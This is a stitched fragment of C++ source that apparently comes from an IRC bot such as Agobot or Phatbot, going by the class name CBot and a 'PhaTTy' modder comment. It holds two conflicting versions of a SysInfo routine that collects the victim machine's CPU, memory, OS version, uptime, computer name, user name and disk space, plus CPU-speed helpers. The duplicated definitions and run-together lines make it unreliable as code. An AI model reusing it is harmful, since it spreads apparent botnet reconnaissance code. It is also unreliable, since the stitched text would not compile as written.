CString CBot::SysInfo() { CString sSysInfo; #ifdef WIN32 int total=GetTickCount()/1000; MEMORYSTATUS memstat; OSVERSIONINFO verinfo; char szBuffer[MAX_COMPUTERNAME_LENGTH + 1]; DWORD dwNameSize = MAX_COMPUTERNAME_LENGTH + 1; char *szCompname; TCHAR szUserName[21]; DWORD dwUserSize = sizeof(szUserName); GlobalMemoryStatus(&memstat); verinfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GetVersionEx(&verinfo); char *os; char os2[140]; if(verinfo.dwMajorVersion==4 && verinfo.dwMinorVersion==0) { if(verinfo.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS) os="95"; if(verinfo.dwPlatformId==VER_PLATFORM_WIN32_NT) os="NT"; } else if(verinfo.dwMajorVersion==4 && verinfo.dwMinorVersion==10) os="98"; else if(verinfo.dwMajorVersion==4 && verinfo.dwMinorVersion==90) os="ME"; else if(verinfo.dwMajorVersion==5 && verinfo.dwMinorVersion==0) os="2000"; else if(verinfo.dwMajorVersion==5 && verinfo.dwMinorVersion==1) os="XP"; else if(verinfo.dwMajorVersion==5 && verinfo.dwMinorVersion==2) os="2003"; else os="???"; if(verinfo.dwPlatformId==VER_PLATFORM_WIN32_NT && verinfo.szCSDVersion[0]!='\0') { sprintf(os2, "%s [%s]", os, verinfo.szCSDVersion); os=os2; } GetComputerName(szBuffer, &dwNameSize); szCompname = szBuffer; GetUserName(szUserName, &dwUserSize); // *** PhaTTy <MOD> Changed ram: to ##MB/##MB , added box: , added user: </MOD> sSysInfo.Format("cpu: %dMHz ram: %dMB/%dMB os: %s (%d.%d, build %d) uptime: %dd %dh %dm box: %s user: %s freespace: %s", cpuspeed(), memstat.dwAvailPhys/1046528, memstat.dwTotalPhys/1046528, os, verinfo.dwMajorVersion, verinfo.dwMinorVersion, verinfo.dwBuildNumber, total/86400, (total%86400)/3600, ((total%86400)%3600)/60, szCompname, szUserName , GetFreeDiskSpace().CStr()); #else FILE *fp=fopen("/proc/uptime", "r"); float f1, f2; if(!fp) return CString("Error: Can't open /proc/uptime!"); if(fscanf(fp, "%f %f", &f1, &f2)<2) return CString("Error: Invalid or changed /proc/uptime format!"); fclose(fp); int days, hours, minutes; days=((abs((int)f1)/60)/60)/24; hours=((abs((int)f1)/60)/60)%24; minutes=(abs((int)f1)/60)%60; int iDistro=GetDistro(); char *szVersion; char *szKVersion; bool bGotVer=GetVersion(&szVersion, iDistro); bool bGotKVer=GetKVersion(&szKVersion, iDistro); if(!bGotVer) szVersion="Unknown\n"; if(!bGotKVer) szKVersion="Unknown\n"; sSysInfo.Format("cpu: %dMHz. os: %s. kernel: %s. uptime: %dd %dh %dm", cpuspeed(), szVersion, szKVersion, days, hours, minutes); if(bGotVer) free(szVersion); if(bGotKVer) free(szKVersion); #endif return sSysInfo; }
unsigned long cpurawspeed(int clocks) { struct FREQ_INFO cpu_speed; cpu_speed = cpuspeed(clocks); return cpu_speed.raw_freq; }
CString CBot::SysInfo() { CString sSysInfo; #ifdef WIN32 int total=GetTickCount()/1000; MEMORYSTATUS memstat; OSVERSIONINFO verinfo; char szBuffer[MAX_COMPUTERNAME_LENGTH + 1]; DWORD dwNameSize = MAX_COMPUTERNAME_LENGTH + 1; char *szCompname; TCHAR szUserName[21]; DWORD dwUserSize = sizeof(szUserName); GlobalMemoryStatus(&memstat); verinfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GetVersionEx(&verinfo); char *os; char os2[140]; if(verinfo.dwMajorVersion==4 && verinfo.dwMinorVersion==0) { if(verinfo.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS) os="95"; if(verinfo.dwPlatformId==VER_PLATFORM_WIN32_NT) os="NT"; } else if(verinfo.dwMajorVersion==4 && verinfo.dwMinorVersion==10) os="98"; else if(verinfo.dwMajorVersion==4 && verinfo.dwMinorVersion==90) os="ME"; else if(verinfo.dwMajorVersion==5 && verinfo.dwMinorVersion==0) os="2000"; else if(verinfo.dwMajorVersion==5 && verinfo.dwMinorVersion==1) os="XP"; else if(verinfo.dwMajorVersion==5 && verinfo.dwMinorVersion==2) os="2003"; else os="???"; if(verinfo.dwPlatformId==VER_PLATFORM_WIN32_NT && verinfo.szCSDVersion[0]!='\0') { sprintf(os2, "%s [%s]", os, verinfo.szCSDVersion); os = os2; } GetComputerName(szBuffer, &dwNameSize); szCompname = szBuffer; GetUserName(szUserName, &dwUserSize); sSysInfo.Format("CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). uptime: %dd %dh %dm box: %s. user: %s.", cpuspeed(), memstat.dwAvailPhys/1046528, memstat.dwTotalPhys/1046528, os, verinfo.dwMajorVersion, verinfo.dwMinorVersion, verinfo.dwBuildNumber, total/86400, (total%86400)/3600, ((total%86400)%3600)/60, szCompname, szUserName); #endif return sSysInfo; }
unsigned long cpunormspeed(int clocks) { struct FREQ_INFO cpu_speed; HKEY hKey; LPBYTE ProcSpeed; DWORD buflen, ret; if (!RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", 0, KEY_READ, &hKey)) { ProcSpeed = 0; buflen = sizeof( ProcSpeed ); ret = RegQueryValueEx(hKey, "~MHz", NULL, NULL, (LPBYTE) &ProcSpeed, &buflen); // If we don't succeed, try some other spellings. if (ret != ERROR_SUCCESS) ret = RegQueryValueEx(hKey, "~Mhz", NULL, NULL, (LPBYTE) &ProcSpeed, &buflen); if (ret != ERROR_SUCCESS) ret = RegQueryValueEx(hKey, "~mhz", NULL, NULL, (LPBYTE) &ProcSpeed, &buflen); RegCloseKey(hKey); if (ret == ERROR_SUCCESS) return (unsigned long)ProcSpeed; } cpu_speed = cpuspeed(clocks); return cpu_speed.norm_freq; }